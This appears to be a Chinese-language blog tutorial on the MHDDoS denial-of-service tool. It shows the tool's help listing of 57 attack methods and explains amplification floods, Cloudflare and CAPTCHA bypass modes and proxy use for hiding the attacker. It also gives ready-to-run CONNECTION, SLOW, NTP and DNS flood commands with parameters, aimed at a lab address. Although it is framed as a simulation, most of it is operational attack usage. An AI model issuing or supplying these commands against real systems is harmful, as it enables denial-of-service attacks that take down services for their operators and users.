MHDDoS 攻擊使用
目錄
MHDDoS 介紹
連結,MHDDoS 是一個基於 Python 開發的開源分散式阻斷服務(DDoS)攻擊工具,他除了一般 L3/L4 攻擊模擬,還有很多 L7 應用層相關的攻擊模擬。
所以他的特色是 L7 應用層模擬,像是有一些參數甚至能繞過 Cloudflare 或 Google Shield 的基礎防護。
他也支援代理,原生支援使用 Proxy (SOCKS4, SOCKS5) 來隱藏攻擊者來源。
參數
adl@Twinkle:~/git_projects/MHDDoS$ python3 start.py -h
* MHDDoS - DDoS Attack Script With 57 Methods
Note: If the Proxy list is empty, The attack will run without proxies
If the Proxy file doesn't exist, the script will download proxies and check them.
Proxy Type 0 = All in config.json
SocksTypes:
- 6 = RANDOM
- 5 = SOCKS5
- 4 = SOCKS4
- 1 = HTTP
- 0 = ALL
> Methods:
- Layer4
| MCBOT, VSE, FIVEM, DNS, ARD, NTP, UDP, TCP, MINECRAFT, MEM, SYN, OVH-UDP, TS3, MCPE, CHAR, RDP, CPS, FIVEM-TOKEN, ICMP, CLDAP, CONNECTION | 21 Methods
- Layer7
| APACHE, DOWNLOADER, STRESS, NULL, EVEN, RHEX, XMLRPC, POST, TOR, GET, DGB, SLOW, KILLER, CFB, AVB, PPS, BOMB, BOT, GSB, HEAD, BYPASS, COOKIE, OVH, STOMP, CFBUAM, DYN | 26 Methods
- Tools
| INFO, TSSRV, CFIP, DSTAT, PING, DNS, CHECK | 7 Methods
- Others
| TOOLS, HELP, STOP | 3 Methods
- All 57 Methods
Example:
L7: python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>
L4: python3 start.py <method> <ip:port> <threads> <duration>
L4 Proxied: python3 start.py <method> <ip:port> <threads> <duration> <socks_type> <proxylist>
L4 Amplification: python3 start.py <method> <ip:port> <threads> <duration> <reflector file (only use with Amplification)>這邊列出一些參數:
- L4
- CONNECTION:TCP 全連線攻擊。完成三向交握並保持連線
- DNS / NTP / MEM / RDP:反射放大攻擊。偽造受害者 IP 向公網服務請求,利用倍率差(Amplification Factor)轟炸受害者
- SYN:TCP 半開連線
- UDP / OVH-UDP:UDP 洪水
- VSE / MCBOT / TS3:特定協議攻擊,針對遊戲(Source 引擎、Minecraft)或通訊軟體(Teamspeak)的自定義協議包
- L7
- HTTP 洪水 (GET / POST / HEAD):模擬大量用戶存取網頁
- 繞過與偵測 (BYPASS / CFB / GSB):這些模式專門設計來繞過防火牆或 CDN(如 Cloudflare)。它會自動處理 Cookie、User-Agent 變換,甚至是繞過驗證碼(CAPTCHA)挑戰
- SLOW:慢速攻擊,建立大量連線,但傳送資料極慢(例如每 10 秒才傳 1 byte)
然後提供工具模式
python3 start.py TOOLS 進到工具模式,可以用 DSTAT 看送的流量,以及還有其他的工具。

模擬攻擊
以下實際用看看攻擊。
TCP Connection Attack
攻擊者使用 python3 start.py CONNECTION 192.168.169.90:80 100 20,使用 100 threads 跑 20 秒。

上面,發起攻擊。

上面,如上看到相關的資訊,在 CONNECTION 模式下,攻擊機發出 ACK 或 PUSH 封包來維持連線,受害者則回傳對應的 ACK。因為連線已經建立,所以不需要像 Flood 那樣噴出幾十萬 PPS,只需要少量的流量就能「霸佔」住受害者的資源。
受害者用 watch -n 1 "ss -ant | grep ESTAB | wc -l" 會看到 ESTABLISH 連線變大。
1021 這個數字非常關鍵。在 Linux 中,一般使用者行程預設的 ulimit -n (最大開啟檔案數) 正好是 1024。
L7 Slow Attack
# 格式: python3 start.py SLOW <url> <socks_type> <threads> <proxylist> <rpc> <duration>
python3 start.py SLOW http://192.168.169.90 1 500 "" 10 600NTP Flood
# 格式: python3 start.py NTP <ip:port> <threads> <duration>
python3 start.py NTP 192.168.169.90:123 1000 600參數解析:
- 1: 代表使用 HTTP Proxy 模式(但在後方給空字串,它會自動跑直連)
- 500: 建立 500 個慢速連線
- “”: Proxy list 為空(因為你在 LAN 測試)
- 10: 每個執行緒每秒發送的請求數(RPC),Slow Attack 建議設低一點,才有「慢速」的效果
注意:受害者端必須有跑 NTP 服務(如 ntpd),否則這只會變成單純的 UDP 垃圾包攻擊。
DNS Food
# 格式: python3 start.py DNS <ip:port> <threads> <duration>
python3 start.py DNS 192.168.169.90:53 1000 600